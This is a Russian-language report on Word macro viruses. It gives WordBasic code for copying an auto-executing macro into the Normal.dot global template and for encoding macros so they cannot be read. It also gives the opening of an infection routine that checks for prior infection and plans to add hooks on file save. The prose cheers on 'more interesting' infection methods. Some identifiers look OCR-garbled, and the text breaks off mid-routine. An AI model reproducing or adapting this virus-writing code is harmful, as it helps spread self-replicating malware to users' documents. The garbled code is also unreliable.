Доклад: Макровирусы
Очень важно знать, как адаптировать автоматический макрос (ниже
приведен простейший вариант), чтобы активизировать его в открывае-
мый по умолчанию шаблон WinWord.
Это делается так:
Определяется переменная, в которую записывается полное имя макроса:
name$=WindowName$()+":AutoNew"
'этот макрос будет выполняться каждый раз
'при создании нового документа
Теперь нужно записать макрос в шаблон NORMAL.DOT простой ко-
мандой:
MacroCopy name$, "Global:AutoNew"
Это стандартный способ работы макро-вирусов, но есть еще много дру-
гих, более интересных способов заражения. Всего то и нужно, что не-
много воображения и несколько строчек кода. Одним из трюков, кото-
рый усложняет подобные вирусы и затрудняет их анализ, является
кодирование макро-вирусов.
MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1
Если выполняется команда MacroCopy с параметром, равным 1 (или
другому числу больше 0), то в результате копирования будет получен
только исполняемый макрос, который нельзя редактировать.
Большинство макро-вирусов имеют типичную структуру. Они начина-
ются с автовыполняемого макроса, заражающего глобальный шаблон
Normal.dot. Также в их состав входят некоторые макросы, которые зара-
жают файлы при определенных действиях (FileSaveAs, FileSave,
ToolsMacros). Документы заражаются при совершении над ними опера-
ций вирусными макросами, то есть они будут инфицироваться при
открытии.
Код для процедуры автовыполнения может выглядеть примерно так:
Sub MAIN
On Error Goto Abort
iMacroCount=CountMacros(0, 0) 'Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)="PayLoad" Then
binstalled =-1 'с помощью макроса Payload
End If
If MacroName$(i, 0, 0)="FileSaveAs" Then
bTooMuchTrouble =-1 'но если есть макрос FileSaveAs,
'то заразить тяжело
End If
Next i
If Not binstalled And Not bTooMuchTrouble Then
'Добавим макросы FileSaveAs и копии AutoExec и FileSave
'Payload используется только для проверки на зараженность
',1 - кодирует макросы, делая их нечитаемыми в Word
iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))
sMe$=FileName$()
Macro$=sMe$+":PayLoad"